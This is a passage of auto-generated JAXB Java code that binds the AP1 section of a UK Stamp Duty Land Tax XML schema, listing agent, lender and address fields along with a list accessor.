type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgentAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgentAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgentAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgentPostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgentDXNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorAgentDXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgentHouseNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgentHouseNo2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgentAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgentAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgentAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgentPostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgentDXNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchAgentDXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Role1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_Role2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_IsPurchLender" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_PurchLenderName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderMDCode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderChargeDate" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="AP1_IsPurchLenderRepresented" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_PurchLenderRepresentedBy" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderLodgeName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderLodgeHouseNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderLodgeHouseNo2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderLodgeAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderLodgeAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderLodgeAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderLodgePostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderLodgeDXNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderLodgeDXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderRole1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLenderRole2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchServiceAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchServiceAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchServiceAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_IsVendorLender" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_VendorLenderName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderMDCode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderChargeDate" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="AP1_IsVendorLenderRepresented" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_VendorLenderRepresentedBy" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderLodgeName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderLodgeHouseNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderLodgeHouseNo2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderLodgeAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderLodgeAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderLodgeAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderLodgePostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderLodgeDXNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderLodgeDXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderRole1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLenderRole2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_IsVendorLender2" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_VendorLender2Name" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2MDCode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2ChargeDate" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="AP1_IsVendorLender2Represented" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_VendorLender2RepresentedBy" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2LodgeName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2LodgeHouseNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2LodgeHouseNo2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2LodgeAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2LodgeAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2LodgeAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2LodgePostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2LodgeDXNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2LodgeDXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2Role1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_VendorLender2Role2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_IsPurchLender2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2Name" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2MDCode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2ChargeDate" type="{http://sdlt.co.uk/}DateOrEmptyType"/&gt; * &lt;element name="AP1_IsPurchLender2Represented" type="{http://sdlt.co.uk/}BooleanType"/&gt; * &lt;element name="AP1_PurchLender2RepresentedBy" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2LodgeName" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2LodgeHouseNo" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2LodgeHouseNo2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2LodgeAddress1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2LodgeAddress2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2LodgeAddress3" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2LodgePostcode" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2LodgeDXNumber" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2LodgeDXExchange" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2Role1" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;element name="AP1_PurchLender2Role2" type="{http://sdlt.co.uk/}StringType"/&gt; * &lt;/choice&gt; * &lt;/restriction&gt; * &lt;/complexContent&gt; * &lt;/complexType&gt; * </pre> * * */ @XmlAccessorType(XmlAccessType.FIELD) @XmlType(name = "", propOrder = { "ap1IsVendorRepresentedOrAP1VendorRepresentedByOrAP1VendorAgentName" }) public static class AP1 { @XmlElementRefs({ @XmlElementRef(name = "AP1_IsVendorRepresented", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorRepresentedBy", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorAgentName", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_IsPurchRepresented", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchRepresentedBy", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchAgentName", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_IsPurchaserService", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchaserServiceEmail", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchaserServiceHouseNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchaserServiceHouseNo2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchaserServiceAddress1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchaserServiceAddress2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchaserServiceAddress3", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchaserServicePostcode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchaserServiceDXNumber", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchaserServiceDXExchange", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorAgentHouseNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorAgentHouseNo2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorAgentAddress1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorAgentAddress2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorAgentAddress3", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorAgentPostcode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorAgentDXNumber", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorAgentDXExchange", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchAgentHouseNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchAgentHouseNo2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchAgentAddress1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchAgentAddress2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchAgentAddress3", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchAgentPostcode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchAgentDXNumber", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchAgentDXExchange", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Role1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_Role2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_IsPurchLender", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLenderName", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLenderMDCode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLenderChargeDate", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_IsPurchLenderRepresented", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLenderRepresentedBy", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLenderLodgeName", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLenderLodgeHouseNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLenderLodgeHouseNo2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLenderLodgeAddress1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLenderLodgeAddress2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLenderLodgeAddress3", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLenderLodgePostcode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLenderLodgeDXNumber", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLenderLodgeDXExchange", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLenderRole1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLenderRole2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchServiceAddress1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchServiceAddress2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchServiceAddress3", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_IsVendorLender", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLenderName", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLenderMDCode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLenderChargeDate", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_IsVendorLenderRepresented", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLenderRepresentedBy", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLenderLodgeName", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLenderLodgeHouseNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLenderLodgeHouseNo2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLenderLodgeAddress1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLenderLodgeAddress2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLenderLodgeAddress3", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLenderLodgePostcode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLenderLodgeDXNumber", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLenderLodgeDXExchange", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLenderRole1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLenderRole2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_IsVendorLender2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLender2Name", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLender2MDCode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLender2ChargeDate", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_IsVendorLender2Represented", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLender2RepresentedBy", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLender2LodgeName", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLender2LodgeHouseNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLender2LodgeHouseNo2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLender2LodgeAddress1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLender2LodgeAddress2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLender2LodgeAddress3", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLender2LodgePostcode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLender2LodgeDXNumber", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLender2LodgeDXExchange", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLender2Role1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_VendorLender2Role2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_IsPurchLender2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLender2Name", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLender2MDCode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLender2ChargeDate", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_IsPurchLender2Represented", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLender2RepresentedBy", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLender2LodgeName", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLender2LodgeHouseNo", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLender2LodgeHouseNo2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLender2LodgeAddress1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLender2LodgeAddress2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLender2LodgeAddress3", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLender2LodgePostcode", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLender2LodgeDXNumber", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLender2LodgeDXExchange", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLender2Role1", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false), @XmlElementRef(name = "AP1_PurchLender2Role2", namespace = "http://sdlt.co.uk/SDLT", type = JAXBElement.class, required = false) }) protected List<JAXBElement<?>> ap1IsVendorRepresentedOrAP1VendorRepresentedByOrAP1VendorAgentName; /** * Gets the value of the ap1IsVendorRepresentedOrAP1VendorRepresentedByOrAP1VendorAgentName property. * * <p> * This accessor method returns a reference to the live list, * not a snapshot. Therefore any modification you make to the * returned list will be present inside the JAXB object. * This is why there is not a <CODE>set</CODE> method for the ap1IsVendorRepresentedOrAP1VendorRepresentedByOrAP1VendorAgentName property. * * <p> * For example, to add a new item, do as follows: * <pre> * getAP1IsVendorRepresentedOrAP1VendorRepresentedByOrAP1VendorAgentName().add(newItem); * </pre> * * * <p> * Objects of the following type(s) are allowed in the list * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link String }{@code >} * {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * {@link JAXBElement }{@code <}{@link StringType }{@code >} * * */ public List<JAXBElement<?>> getAP1IsVendorRepresentedOrAP1VendorRepresentedByOrAP1VendorAgentName() { if (ap1IsVendorRepresentedOrAP1VendorRepresentedByOrAP1VendorAgentName == null) { ap1IsVendorRepresentedOrAP1VendorRepresentedByOrAP1VendorAgentName = new ArrayList<JAXBElement<?>>(); } return this.ap1IsVendorRepresentedOrAP1VendorRepresentedByOrAP1VendorAgentName; } } } /** * <p>Java class for anonymous complex type. * * <p>The following schema fragment specifies the expected content contained within this class. * * <pre> * &lt;complexType&gt; * &lt;complexContent&gt; * &lt;restriction 